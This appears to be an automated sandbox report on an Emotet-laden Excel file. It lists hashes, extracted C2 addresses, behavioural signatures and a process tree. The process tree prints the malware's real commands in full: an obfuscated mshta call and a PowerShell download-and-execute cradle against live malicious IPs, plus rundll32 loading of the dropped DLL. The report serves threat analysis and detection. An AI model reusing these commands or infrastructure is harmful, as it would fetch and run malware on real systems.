emotet | c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94

General

Target

c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94.xls
Size

142KB
MD5

8d6b43ca03cf1e4d675a523c4b06e214
SHA1

6cdde32cd5ce069e00c952575714e66c55f091cc
SHA256

c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94
SHA512

600dc0d8cd18517e49c8319c8a7e9feb8cdd6354d80ff1c0b7e99ccdbd9fc3651b30c07448792fd7b52ec877068d72a2c664c2e79ca8fcdfd542ff6f1c8f7418

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1344	2840	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

19 1880 mshta.exe
20 3136 powershell.exe
22 3136 powershell.exe
45 3872 rundll32.exe
46 3872 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2448 rundll32.exe
2876 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Meylpseqyfafegq\ugxvewuet.fqp rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2904 1880 WerFault.exe mshta.exe

flow	pid	process
19	1880	mshta.exe
20	3136	powershell.exe
22	3136	powershell.exe
45	3872	rundll32.exe
46	3872	rundll32.exe

pid	process
2448	rundll32.exe
2876	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Meylpseqyfafegq\ugxvewuet.fqp	rundll32.exe

pid	pid_target	process	target process
2904	1880	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2840 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3136	powershell.exe
3136	powershell.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
2904	WerFault.exe
3136	powershell.exe
3872	rundll32.exe
3872	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3136 powershell.exe
Token: SeDebugPrivilege 2904 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3136	powershell.exe
Token: SeDebugPrivilege	2904	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2840 wrote to memory of 1192	2840	EXCEL.EXE	splwow64.exe
PID 2840 wrote to memory of 1192	2840	EXCEL.EXE	splwow64.exe
PID 2840 wrote to memory of 1344	2840	EXCEL.EXE	cmd.exe
PID 2840 wrote to memory of 1344	2840	EXCEL.EXE	cmd.exe
PID 1344 wrote to memory of 1880	1344	cmd.exe	mshta.exe
PID 1344 wrote to memory of 1880	1344	cmd.exe	mshta.exe
PID 1880 wrote to memory of 3136	1880	mshta.exe	powershell.exe
PID 1880 wrote to memory of 3136	1880	mshta.exe	powershell.exe
PID 3136 wrote to memory of 3920	3136	powershell.exe	cmd.exe
PID 3136 wrote to memory of 3920	3136	powershell.exe	cmd.exe
PID 3920 wrote to memory of 2448	3920	cmd.exe	rundll32.exe
PID 3920 wrote to memory of 2448	3920	cmd.exe	rundll32.exe
PID 3920 wrote to memory of 2448	3920	cmd.exe	rundll32.exe
PID 2448 wrote to memory of 2876	2448	rundll32.exe	rundll32.exe
PID 2448 wrote to memory of 2876	2448	rundll32.exe	rundll32.exe
PID 2448 wrote to memory of 2876	2448	rundll32.exe	rundll32.exe
PID 2876 wrote to memory of 3884	2876	rundll32.exe	rundll32.exe
PID 2876 wrote to memory of 3884	2876	rundll32.exe	rundll32.exe
PID 2876 wrote to memory of 3884	2876	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 3872	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 3872	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 3872	3884	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1192

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2448

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2876

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Meylpseqyfafegq\ugxvewuet.fqp",weNYz
8⤵
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Meylpseqyfafegq\ugxvewuet.fqp",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3872

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1880 -s 1664
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
e02ff840694a513aa52f00a53cfaf993

SHA1
eebde95c08ffdfad981141bc7ef512bba8830458

SHA256
15d66dc9c6ef28e9afc1fe9e5d79b94e6dd57fb030d7341fed2169b3af6da273

SHA512
c9536b71712a38b550729617e1aa9be99d16a31ee272575e4b80d5f3fe45e701cbed5475177c4dea3e3e6e0ea2890687a31a71ebeecbe68bd8a923308ceeeb60

Download Submit
\Users\Public\Documents\ssd.dll
MD5
e02ff840694a513aa52f00a53cfaf993

SHA1
eebde95c08ffdfad981141bc7ef512bba8830458

SHA256
15d66dc9c6ef28e9afc1fe9e5d79b94e6dd57fb030d7341fed2169b3af6da273

SHA512
c9536b71712a38b550729617e1aa9be99d16a31ee272575e4b80d5f3fe45e701cbed5475177c4dea3e3e6e0ea2890687a31a71ebeecbe68bd8a923308ceeeb60

Download Submit
\Users\Public\Documents\ssd.dll
MD5
e02ff840694a513aa52f00a53cfaf993

SHA1
eebde95c08ffdfad981141bc7ef512bba8830458

SHA256
15d66dc9c6ef28e9afc1fe9e5d79b94e6dd57fb030d7341fed2169b3af6da273

SHA512
c9536b71712a38b550729617e1aa9be99d16a31ee272575e4b80d5f3fe45e701cbed5475177c4dea3e3e6e0ea2890687a31a71ebeecbe68bd8a923308ceeeb60

Download Submit
memory/2840-128-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-117-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-116-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-129-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/2840-115-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-866-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-865-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-864-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-863-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2840-127-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/2840-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2876-816-0x0000000005180000-0x00000000051A6000-memory.dmp

Filesize
152KB

Download
memory/2876-813-0x0000000005020000-0x0000000005046000-memory.dmp

Filesize
152KB

Download
memory/2876-804-0x0000000002E60000-0x0000000002E86000-memory.dmp

Filesize
152KB

Download
memory/2876-806-0x0000000002F70000-0x0000000002F96000-memory.dmp

Filesize
152KB

Download
memory/2876-809-0x0000000004E20000-0x0000000004E46000-memory.dmp

Filesize
152KB

Download
memory/2876-811-0x0000000004FC0000-0x0000000004FE6000-memory.dmp

Filesize
152KB

Download
memory/3136-481-0x0000013A26030000-0x0000013A26052000-memory.dmp

Filesize
136KB

Download
memory/3136-573-0x0000013A0C2E6000-0x0000013A0C2E8000-memory.dmp

Filesize
8KB

Download
memory/3136-536-0x0000013A0C2E3000-0x0000013A0C2E5000-memory.dmp

Filesize
8KB

Download
memory/3136-535-0x0000013A0C020000-0x0000013A0C2E2000-memory.dmp

Filesize
2.8MB

Download
memory/3136-531-0x0000013A266C0000-0x0000013A26736000-memory.dmp

Filesize
472KB

Download
memory/3136-500-0x0000013A262A0000-0x0000013A262DC000-memory.dmp

Filesize
240KB

Download
memory/3872-818-0x0000000004830000-0x0000000004856000-memory.dmp

Filesize
152KB

Download
memory/3884-815-0x00000000030D0000-0x00000000030F6000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads